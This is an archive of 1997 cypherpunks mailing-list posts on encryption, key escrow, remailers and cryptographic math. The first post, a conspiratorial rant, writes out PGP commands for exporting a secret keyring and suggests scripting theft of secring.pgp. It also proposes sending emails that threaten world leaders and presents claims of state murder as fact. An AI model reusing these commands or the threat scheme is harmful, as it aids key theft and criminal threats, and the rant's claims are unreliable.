Interactive. Doesn't that sound better than Corporate Message Recovery?
Better than Government Access to God-and-Everything?

The cynics make it all sound so dark and damning. All the Fascists really
want is to make certain that everyone is sitting up straight in their
seats...that the seats are lined up properly...that no one forgets to pledge
allegiance...that you ask permission before you pee...

"THERE IS NO SECRET PLOT AGAINST THE CYPHERPUNKS LIST!!!"

We are here to help you...
Tim, sit up straight in your chair. Lucky, sit down, you can go to the
bathroom when I'm finished talking. Bill, Bill and William, no more
back-talk. Adam, apologize to PGP. Duncan, quit fidgeting. Peter, have you
been passing notes to TruthMonger, again? Blanc, Mr. Gates will not be
allowed to pick you up after class unless he brings a note from your
parents. Matthew and Phil, from now on we will be using 3.0 as the value of
pi, as per the new legislation. Toto! Pull up your pants and leave that
puppy alone.
Thank you for the apple, Kent. Would you like to lead the class in pledging
allegiance to PGP for Corporations?

When a US Armed Forces trained killer attacked a Federal Government
Building, who got the blame?
Citizens. Citizens with guns. Citizens with non-government guns. The
Paramilitary.

When a US Secret Intelligence Agency trained cryptographer attacks a Federal
Government Computer System, who will get the blame?
Citizens. Citizens with crypto-munitions. Citizens with non-government
crypto-munitions. The CypherPunks.

Have you figured out what 'InfoWar' is, yet?

Cryptography is merely a battleground. Encryption is merely one of the most
dangerous weapons against the goals of InfoWar.

The War is over who will control Information.
The War is over who will control Words.
The War is over who will control Thoughts.
The War is over who will control Attention.
The War is over who will control Virtual Reality.
The War is over who will control WebWorld.

World War III is InfoWar!

Whoever controls Information, controls the Past.
Oswald acted alone..

Whoever controls Information, controls the Present.
Gilmore acted alone.

Whoever controls Information, controls the Future.
Tim C. May acted alone...

Repeat after me:

"Department of Defense secret agencies created the InterNet, but they do not
control and/or monitor all activity and communications that take place on
it."

"The government has shifted the focus of their engineers, physicists and
secret intelligence agencies from nuclear warfare to information warfare,
but they would not manipulate, destroy and murder those who present a threat
to their preeminence in this arena of warfare."

"When the government's secret underground laboratories reveal and share the
technology of radar that can see through solid walls, satellite cameras that
can read the newspaper over your shoulder, and tiny helicopters that can fit
inside a peanut shell, they are not in possession of even greater forms of
clandestine technology."

Reality Check:
Why is strong encryption such a dangerous threat to the secret and
semi-secret agencies, committees and non-government bodies who rule us from
the shadows?
It is because they already have the ability to monitor all of our activities
and communications. Widespread use of strong encryption threatens that
ability.

People who control technology and standards are on the inside. People who
make the chips that go into the computers and peripherals are on the inside.
People who supply the physical routes that information travels over are on
the inside.
People who use the above, are on the outside.

Arms for drugs, drugs for money-arms, drugs and money for favors and
information.

Our secret intelligence agencies tell our legislators that use of strong
crypto will interfere with their manipulation of the electronic funds of the
'bad' individuals, corporations, and governments.
Why did Colonel Olive North trade weapons and drugs to have the hostages
held until Ronnie RayGuns election and then released on the day of his
inauguration? Because weapons were what the Iranians wanted.
What if the Iranians had wanted Sun Microsystems financially ruined in
return for the timed release of the hostages? Or Intel? Or Tim C. May? (Who
knows? Maybe the Tim C. Mayonnaise ASCII Art is part of the Iran-Contra
deal.)

Did the US Secret Intelligence Agencies support the development and release
of cryptography that they couldn't break, or didn't have a backdoor to?
If so, then why was PGP such a threat to 'National Security?'

If the Men in Black don't already have ready access to information hidden
within current forms of encryption, then why would widespread use of strong
encryption be a threat?

Try this:
Go to a command line: type 'cd \PGP262' ; type 'pgp -kxa "My KeyID"
secring.pgp'
Send the output file to Louis J. Freeh, and ask him to please not read your
encrypted files.

Now:
Do the same thing, only dialing in to your machine from a friend's machine.

Now:
Write a browser Java script that gets the secring.pgp file from your machine
via a web site.

Now:
Go home, kick your fucking door in, place a disk in the floppy drive, and
type 'pgp -kxa "My KeyID" a:\secring.asc secring.pgp'.
Mail the disk to Louis J. Freeh

Does your copy of PGP ask for a password before spitting out the KeyID to
any one of a thousand monkeys who sits at your keyboard and randomly types
in the above?
My copy doesn't.

Below is a copy of a key pulled off of my computer by 19 different people.
It was pulled off of my hard drive by the first individual, who proceeded to
inform a second individual of the method used, and challenged them to do the
same thing, using a different method. The second did so, and passed all the
information along to a third person, etc., etc.
Nineteen people, nineteen different methods.

-----BEGIN PGP MESSAGE-----
Version: 2.6.2

lQHgAzHiUJEAAAEEAP1slPSwrVd90NVBqfsw6+JP64icmuSrztzyCgaPcXHRiy/J
Kbgi9/gy1iCnWcQh1ATaSzblATSU24Xw+4Ow4s5xOvdxFGoIop6EXwTNfwRa2EZr
6ZZ41Glr9g1g9H0RJwJlkldUcunVNekXel1MYA8VJJynvtZVuntA11SbF0AdAAUT
Ab7sJWrM/6azA/vV2wq4sdyfngUgUHq8Hlo5NHvEjyh2cSoMMNxnpKR3+XYRbYTd
HhwfbOvji1cWnVJF6GBxe3nLvbkbHJU+K3hNNYOT9JKMahu+5wKMbHkwToSsLzyQ
kgn2JlKDJugoycdjInlQs7NiyoOrIYWQzSi4yGbhl2t1Au+67UY/r57J9AIA8V/6
J5x1wH7MACSWU91jXXxpJvSud053nrSgnupEUbFX3dXm0GXf6vdhbQW9eYsIJmCI
pZLrqwBcFe2GWhk9AAIActyoxAgCvFyGSJHHzJVVoKfWk/gjmKs/r7+J9vWnBAkc
Pg0wqUn66Hmq0op28gEXU3qKJiJ8rAQETAxBhfpnJgH83CrrEZDcBY8IKsFI2A19
KahohyDXmsEHIWqKZLSwzjsYcf049RCUxNDPJZchuoMEPkK9414KyPqlJbStsFaE
YZ6itAxNYWdpYyBDaXJjbGU=
=GEo6
-----END PGP MESSAGE-----

Are your 'secret' keys any more secure than mine?
Answer: If you send me a message encrypted to the key above, then it doesn't
really matter, does it? The end result is the same.

Strong crypto is not a threat.
Widespread use of strong crypto is a threat.

The Monitors cannot put the latest-greatest spy chip in every computer,
every printer, every modem. They cannot password-snarf every system. They
cannot compromise every remailer, every ISP, every private network.
At present, they don't need to.
They can enter my house, and your house, and grab our keys. They can't do so
for everyone, but they don't need to, because everyone isn't using strong
crypto. They can monitor your keyboard and mine, but they can't monitor
everybody's. They can beat you and I with rubber hoses, but they can't beat
everyone with rubber hoses (although they can dream...).

The days of Judicial Safeguards are history.
There is no longer any need to go down to the local Teleco and flash a
warrant to get access to telephone conversations. The Monitors own the
satellites. Warrants are for when they are ready to go to trial, and they
want to do it by the book.
Hackers don't get warrants. Hackers don't need no stinking badges...and
neither do secret intelligence agencies.

What is the problem with widespread use of strong crypto?
It gets in the way of immediate access to data and communications.

If you understand nothing else about InfoWar, understand this:
The Monitors already have access to almost all data and communications. They
are not attempting to get something they don't have, they are trying to hold
onto something that they already have.

They can't kill a news story or editorial after it comes out. They can't put
genies back in the bottle after they are released. Arranging for you to have
an unfortunate accident tomorrow doesn't erase the email you sent today.

Try this:
Get email accounts in the names of your children. Send messages back and
forth between them. Analyze the send and receive timing of the Dr. Seus
messages, as opposed to those of the 'Death Threat' and 'Tim McVeigh'
messages.
Do traceroutes to find out how the accounts travel via routes to a variety
of systems. Then send emails between the accounts which threaten the lives
of world leaders and various politicians. Now do traceroutes and find out
what routes the accounts travel.
And remember, this is for your children's accounts.

The Monitors can get access to the keys of a thousand individuals at a
corporation, but this is unacceptable. They want access to one key that
allows them to access all of the thousand individual's files and
communications.
Their goals are quite simply to control and monitor information as close to
the source as possible. This is why they need 'Official' news sources.
'Approved' websites. 'Authorized' encryption programs.
This is why they give away billions of dollars of digital airwaves to
mainstream media. This is why they launch, and then settle, anti-trust
actions, lawsuits, financial and criminal investigations.

NEWS FLASH!!!
Louis J. Freeh just discovered that he can ensure the institution of GAK,
CMR, and all manner of CRAP by killing your newborn child.

Aren't you glad he's one of the 'good' guys?

Follow the Money!

Why do the Monitors want guaranteed access to all information by 1999? Why
are the Europeans planning to introduce a new form of currency in 1999? What
plans do the IRS have for 1999, when it becomes obvious that many
individuals, companies, and countries do not have the capability to keep
their bookwork from falling into chaos?
Nothing? Right...

The US has plans in place for invading Canada in the event that there is a
need to do so, but they have no plans in place for financial and
organizational chaos being created by the Year2000 Bug. Right...

Governments, corporations, the rich and powerful...none of them have any plans
in place to take advantage of any problems that arise in society, in
government, in financial empires, due to the Y2K Bug. Right...

The 'solutions' are already planned, and in place, waiting for the problem.
The solutions are pre-GAK'ed. The solutions have eyes and ears.
Why is the IRS being 'rehabilitated' by Congressional investigation? In
preparation for 1999. Just as the FBI, the CIA, the DOJ, etc., have been
'rehabilitated.' Just as the government has been 'rehabilitated' by the
Freedom of Information Act, etc., while more and more power is put into the
hands of unelected committees, commissions and semi-secret agencies.

InfoWar is being fought on the battlegrounds of Virtual Reality, which are
linked by the Information Highway. The armies are governmental and
corporate. The victor's prize, as always, is wealth and power.

On the battlefield of Encryption the war is over Access.

On the battlefield of Virtual Private Networks, the battle is for Access.

The warplanes, ships, tanks, rockets and missiles...the air, sea and ground
wars...these are a dog-and-pony show for the masses.
Just as the 'news' is for the masses.

When the Canadian Prime Minister is caught on audio-video calling the US
government criminals and thieves, this is news. This is why he doesn't say
those things into the microphone, except by accident. It is not 'official'
news, not 'managed' news, and it will not be expanded upon for the general
public.
The 'Official' news is 'Blah, blah, blah...'

Even the 'Official' news isn't really 'official' when the governments deny
it.
The Israelis didn't really release a political prisoner as a result of a
deal to have their assassination team returned. Canadian intelligence
agencies don't really help the Mossad obtain false Canadian passports in
return for having their own back scratched.
As long as they pretend they didn't really get caught, then they can keep
pretending that they don't do this type of thing all of the time.

This is InfoWar...
There are good pictures and bad pictures...good words and bad words...good
thoughts, ideas and beliefs, and bad ones.
The good people are here, where I am standing, and the bad people are over
there, where I am pointing.
My information is good information. Anything else is bad information.
There are good URL's and bad URL's, good communications and bad
communications.

The Constitution needs to be explained to your children by those who wrap
themselves in the flag, not by those who burn the flag. CyberSitter!
The Bill of Rights needs to be explained to your children by those who
imprison and kill marihuana smokers, not by those who smoke marihuana, even
if they are doing so in a place where it is legal. CyberSitter!
The Truth needs to be told to your children by those who the government
gives billions of dollars worth of the citizens' digital airwaves, not by an
armed forces veteran who is telling his story on his own web page as the
life force drains from his body due to his imagined Gulf War Syndrome.
CyberSitter!

Dimitri Vulis needs to be forcefully unsubscribed from the CypherPunks
Mailing List. SandySitter!

"You want anarchy? You can't HANDLE anarchy!"
- Jack Nicholson, playing Terry Nichols, in "Nuke the Murrah Federal
Building!"

InfoWar

There will be soldiers, spies, collaborators and members of the resistance.
There will not be any winners, only survivors.
There will be survivors who can hold their heads high, and those who cannot.

Never forget...
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 20 Oct 1997 09:19:29 +0800
To: cypherpunks@toad.com
Subject: Re: Security flaws introduced by "other readers" in CMR
Message-ID: <199710200104.DAA23696@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jean-Francois Avon wrote:
> From: Fabrice Planchon <fabrice@math.Princeton.EDU>

> >They do: the title is "Le programme PGP se range", which I unfortunatly
> > have know idea of how to translate.
> 
> It can be translated by
>  "PGP gets into the groove"
   "falls in line"

> it "behave itself".
  "obeys"

> It finally obtemperate (wether prompted or not).
  "self-restrained"

> It grow's up and become reasonable.
  "matures" and "conforms"

> "se ranger" is what you do with your car when a cop car pulls 
> you on the side. it gets in line
  "Habeus Automobileus Recovery"

> There is an ambiguity in this expression.  "Se ranger" is 
> usually used for  a transition to an unusual or not approved 
> behaviour to a accepted or acceptable behaviour.  
> It entails a "higher" authority or standard.  

  Such as Hitler, or Freeh, or DeGaulle.
  There is a lot of truth to the "loose shoes, tight pussy, and
a warm place to shit" school of dictatorship.
  As long as your butt is warm, do you really care whether 'they'
are burning Jews or Jesuits to supply you with heat?

  Has PGP scored Joe 'White Shoes' Jackson as their SpokesPerson?

VeriteMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 20 Oct 1997 11:59:59 +0800
To: Stanton McCandlish <fight-censorship@vorlon.mit.edu
Subject: Re: pro-crypto govt. people [find]
In-Reply-To: <199710161900.MAA15010@eff.org>
Message-ID: <19971020.032653.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    regarding ranking military personnel and/or prosecuters who
    were in favour of encryption and anti-GAK, the key issue is
    former -while in rank or in the DOJ they follow the party
    line --and they _know_ what the abuses are. I know more than
    a few, but they a) wont talk about it, b) are ex-spooks (if
    there is such a thing), and c) item 'b' makes them not good 
    testimonials anyway.

    just get a list of generals retiring in the last 5 years from
    the Congressional record since there is a rank pension retirement
    requirement --survey.  likewise, Bill Clinton fired every single
    on of the U.S. prosecuting attorneys when he took office in 1993;
    same thing: survey 'em.  some career DOJ types who were pretty
    pissed and not likely to view anything Bubba and F{ree,uck} are
    pushing with approval.

    bet you come up with some positive answers. if nothing else you
    might get some quotes; and some the retired generals were pretty
    crusty.  check the man who retired as head of the army 160th
    deep black spec ops group --swore in public, his troops never
    wore regulation, beards, etc. and I think General George S. 
    Patton IV retired a couple years ago with at least 2, maybe 
    3 stars.

    they're out there; get a grunt to get on with the research.

on or about 971016:1200 
    Stanton McCandlish <mech@eff.org> was purported to have 
    expostulated to perpetuate an opinion:

#This year I recall seeing 1 former prosecutor saying that widespread
#encryption was good and/or that GAK was bad, and 1 military or former military
#person of fairly high status saying that GAK was bad. Circa 1994-5 I also
#recall a military or retired miltiary person of rank reporting that very
#widespread crypto would be a boost to national security.  We could really use
#these people's, and similar people's, words in pro-crypto efforts.
#Unfortunately, disk problems a while back cost me most of my old mail,
#including all of these saved items. If anyone has them and/or knows who these
#people are, please let me know.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNErSurR8UA6T6u61AQGkNQH6AlxB6oJ9OJa2dtSB07jCXVZZdUIvdntR
plzqvee5RGCtjZaqrc8VksmunVaMh3FOHpHGJW+rcwSoMK0Qs9ASnQ==
=OAtn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 20 Oct 1997 22:03:45 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199710201350.GAA10127@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 20 Oct 97 6:49:47 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:43:20  99.87%
nym      config@nym.alias.net             ## +*#**#**#      :54  98.85%
redneck  config@anon.efga.org             ** #*##*+#**     2:01  98.73%
neva     remailer@neva.org                -  ------***  1:18:50  98.70%
squirrel mix@squirrel.owl.de              ----- ---+-   2:40:29  98.48%
mix      mixmaster@remail.obscura.com     +* +++ ++++*    22:14  98.34%
winsock  winsock@rigel.cyberpass.net      -- -..-..--  12:20:42  97.94%
cyber    alias@alias.cyberpass.net        ** *++***+ *    10:04  97.76%
replay   remailer@replay.com              ** ****   **     4:08  97.45%
bureau42 remailer@bureau42.ml.org         --  -------   3:34:49  96.52%
arrid    arrid@juno.com                   -- ----.---   8:34:46  96.27%
cracker  remailer@anon.efga.org           +  +  +*+*+*    15:01  94.84%
jam      remailer@cypherpunks.ca          +  +  +*-+++    22:50  94.53%
valdeez  valdeez@juno.com                               4:58:22 -33.42%
reno     middleman@cyberpass.net          +             1:01:28   9.14%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Mon, 20 Oct 1997 15:54:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A Math problem related to cryptography
Message-ID: <3454d05d.32951635@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 19 Oct 1997 18:36:26 -0500, Jeffery Walker <jeff@beol.net> wrote:

>
>	I have been working on some math and C++ code to implement it. The
>problem relates to a possible new means of factoring.  However, I have run
>into a problem which I cannot solve. Indeed it maybe impossible. The
>problem is this:
>
>	Find and equation using only multiplication, division, GCD, LCM and
>powers (not addition or subtraction) in terms of a and b which is equal to
>a+b for all Integers.  If so desired it can be assumed that a and b are
>relative primes with a>b.  Note that equivalent problems include but aren't
>limited to finding a similar equation for a+1. If other functions such as
>logs are required they may be allowed but I would have to look into it.
>
>	To encourage people to answer I am offering $20 for a solution and
>$10 for a proof that it is impossible.  I will judge all answers as to the
>validity both in terms of actually being correct (or in the case of a proof
>a valid argument) and in that they do not use functions such as addition or
>subtraction which are not allowed.
>

(why do I get the feeling that I'm doing somebody's homework assignment)

Claim: In the realm of Integers, There does not exist a formula using only
multplication,division,GCD,LCM,and powers such that f(a,b)=a+b for all
integers a,b

Proof (by contradiction):  

I  assume that a,b are primes > 2.  Lets also define  x,y,z,w,m,n and any
integer >=0 and C,D,E as any integer > 0.  Now let's look at the operations
available to us:

multiplication and powers:
	C=C*(a^0)*(b^0)
	CD=E(a^0)*(b^0) where E=CD
	a=1*(a^1)*(b^0)
	a^2=1(a^2)*(b^0)
	Cab^2=C*(a^1)*(b^2)
	well , all results can be expressed in the following form:
		C*(a^x)*(b*y)

division:
	a !| b and b !| a (here !| means "does not divide")
	(From here on out, lets assume that a !| C,D,E and b !| C,D,E.  it
makes things simpler)
	Ca/a=C*(a^0)*(b*0)
	Ca/D=E*(a^1)*(b^0) assuming that E | C
	I won't go through all this.  It should be obvious that for all
allowed divisions, the result can be expressed as
		 C*(a^x)*(b*y)


GCD:
	gcd(a,b)=1
	
	gcd(a,C)=1
	gcd(Ca,Da)=max(a,gcd(C,D))
	gcd(Ca,Db)=gcd(C,D)
	gcd(C(a^x),C(a^y))=C(a^(min(x,y)))

gcd(C(a^x)*(b^y),D(a^z)*(b^w))=gcd(C,D)*(a^(min(x,y)))*(b^(min(z,w))))
	=E(a^m)*(b^n) for E=gcd(C,D) m=min(x,z) and n=min(y,w)

	so, all results of GCD can be expressed in the form:
		C(a^x)(b^y)

LCM:
	LCM(C,D)=CD/gcd(C,D)
	LCM(C(a^x)*(b^y),D(a^z)*(b^w))
	  =CD*(a^(x+z))*(b^(y+w))/gcd(C(a^x)*(b^y),D(a^z)*(b^w))
	  =( CD/gcd(C,D) * (a^(|x+z-min(xz)|)) * (b^(y+w-min(yw))
	  = E(a^m)*(b^n) where E=CD/gcd(C,D)=lcm(C,D), 
	        m=x+z-min(x,z) , n=y+w-min(y,w)

	so, all results of LCM can be expressed in the form:
		C(a^x)(b^y)

Now, as you can probably tell by now, I don't remember a damn thing about
groups, rings, and fields.  If i did, I could have done all of the above in
one paragraph.  SO, what I'm trying to say is that all the numbers you can
operate on here will be of the form C(a^x)(b^y).  SO you really have to
prove at least the following

	C(a^x)(b^y)=a+b   for some C>0, x,y>=0 integers

Now, you could probably say that C=a+b, x,y=0, but that's a cop out and is
probably not allowed.  Now, watch while I cop out and provide an easy
counterexample:

	assume some formula exists such that f(a,b)=a+b with
	f only using *,/,gcd,lcm,^ operators

	let a=5, b=7
	
	Since I know that ultimately anything I do with constants
	and the operators 8,/,gcd,lcm,^ will result in something in
	the form of C(a^x)(b^y), I won't even mess with the formula

	there must exist some C>0, x,y>=0 that makes:
		C(5^x)(7^y)=5+7=12

	of x>=1 and y>=1 then C(5^x)(7^y)>12 for all C>0
	if x=0 and y=0, C=12  (this works)
	if x=1,y=0 then 5C=12.  there is no C which satisfies this.
	if x=0,y=1 then 7C=12.  there is no C which satisfies this.
	
	so, the only solution is C=12, or more generally, C=a+b

	oops, that can't be the formula since we're not allowed to
	do that. QED.

	Well, that was pretty sloppy, so lets be more general about this:
		C(a^x)(b^y)=a+b
		
	Now, I'm sure that somewhere in the history of mathematics
	somebody has proven that for primes a and b where a,b>2
	that a*b>a+b.

	So, for any x,y,C>0, C(a^x)(b^y)>a+b.

	C, of course, cannot be negative, or zero, so all were left 
	with is x or y being zero. Let y=0.  we have:
	
		C*a^x=a+b
		C*a^x - a = b
		a*(C*a^(x-1) - 1 ) = b
		a*E=b

	Now, a and b are primes and a!=b.  From the fundamental 
	theorem of algebra, every number can be represented by a 
	series of primes such as:
		p1^a1 * p2^a2 * p3^a3 * ...

	In a*E=b, if we factor each side down to its primes, we find that
	the right hand side does not contain the prime 'a' which  is on 
	the left hand side, so a*E != b.  A similar argument can be used 
	for the case x=0.

	This leaves the only solution to C(a^x)(b^y)=a+b being
		x=0,y=0
		C(a^0)(b^0)=C=a+b
	which isn't allowed.  QED



Now, If you're like me, you've probably read the above and don't have a
f*cking clue what I meant (I sure wouldn't if I read all that crap).  So
here's the executive summary.

With the operators you've defined on the number set you want to work with,
no matter how complicated or crazy your formula is, I can express the
result at C(a^x)(b^y).  And hopefully, I've shown that C(a^x)(b^y) cannot
equal a+b except in the trivial case of C=a+b (with x,y=0) which is what
you don't want.

>Thanks,
>Jeff
>P.S. I am very interested in joining the coderpunks list as I do program
>and am interested in cryptography as related to programming.  If someone
>would be kind enough to recommend me I thank you.
>
I wasn't aware that you had to be invited to the coderpunks list.  Just
send a message to majordomo@toad.com with the following in the body:

subscribe coderpunks



-- Phelix, who really should have been able to give a better proof
(especially since one of my degrees has the word 'Mathematics' on it)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Mon, 20 Oct 1997 23:47:04 +0800
To: "Jean-Francois Avon" <tcmay@got.net>
Subject: Re: "First do no harm"
Message-ID: <199710201538.IAA23750@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:16 AM 10/20/97 -0500, Jean-Francois Avon wrote:
> In the old days, you used to scramble through his mountain of 
> paper on his desk.  In more recent days, you frantically 
> scanned his exemplary organized data structure and found 
> the documents.  Today, the said data structure is still 
> exceptionally orderly, but only to reveal several very 
> describing filenames with a  dot-asc or dot-pgp extension.
>
> Any comments?

Sounds like a good argument for banning employees from purging their mail.
:-)

This employee regularly purged his mail, an operation far more effective
than merely encrypting it.

In well run companies, the boss does not wade through the employees trash.

If I have email that I may need to refer to, I file it appropriately.

PGP is not primarily designed for storage of sensitive data.

Insert usual argument concerning encryption of transmissions 
versus encryption of storage.

Your argument is an argument for corporate access to secure file
systems, not corporate access to secure email.

For some far from mysterious reason, those who provide secure
file systems feel little need to provide a back door.

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Mon, 20 Oct 1997 22:04:14 +0800
To: cypherpunks@toad.com
Subject: Re: [LONG, off-topic]] Interactive Programming (fwd)
Message-ID: <199710201345.IAA01608@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



> > LISP programmers are much more into writing programs which
> > build and execute routines on the fly.
> 
> As are some perl programmers.  As both a perl programmer and a lisp
> programer I have never had the need to use self modifing code.  In fact I
> would consider haveing to use s-m code as a sine that I have made a
> mistate in my desinge.
> 
PERL is a pretty high-level language... how do you add sub's after
running the code?

-Brandon Crosby





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Mon, 20 Oct 1997 23:37:11 +0800
To: cypherpunks@toad.com
Subject: Re: [LONG, off-topic]] Interactive Programming
Message-ID: <199710201522.KAA02875@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



> > LISP programmers are much more into writing programs which
> > build and execute routines on the fly.
> 
> As are some perl programmers.  As both a perl programmer and a lisp
> programer I have never had the need to use self modifing code.  In fact I
> would consider haveing to use s-m code as a sine that I have made a
> mistate in my desinge.
> 
PERL is a pretty high-level language... how do you add sub's after
running the code?

-Brandon Crosby





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Clysdale <iancly@entrust.com>
Date: Mon, 20 Oct 1997 22:53:59 +0800
To: "'semprini@theschool.com>
Subject: RE: One-Way Functions
Message-ID: <c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971020142804Z-3174@mail.entrust.com>
MIME-Version: 1.0
Content-Type: text/plain



Yes, there are a number of other one-way functions.  The Diffie-Hellman
algorithm relies on the difficulty in taking logarithms versus finding
an exponent.  Elliptic-curve cryptography relies on some rather
complicated group theory.  Look either of those up to find out some more
information.

If you're interested in learning about this kind of stuff, I HIGHLY
recommend Bruce Schneier's Applied Cryptography.  Another good book is
the Handbook of Applied Cryptography by Paul Van Oorschot, Alfred
Menenzes and Scott Vanstone.

								ian

>----------
>From: 	semprini@theschool.com[SMTP:semprini@theschool.com]
>Sent: 	Monday, October 20, 1997 4:04 AM
>To: 	cypherpunks@toad.com
>Subject: 	One-Way Functions
>
>I've read tons about how DES, PGP, and all of those programs use a 
>one-way function involves the difficulty of factoring out numbers. 
>Are there other one-way functions?
>
>--Dylan
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 20 Oct 1997 23:04:12 +0800
To: cypherpunks@cyberpass.net
Subject: How Fast Is your System?
Message-ID: <v0311070fb0711df2ea31@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: fm@mail.espace.net
Mime-Version: 1.0
Date: Mon, 20 Oct 1997 10:52:46 +0100
To: usual@espace.net
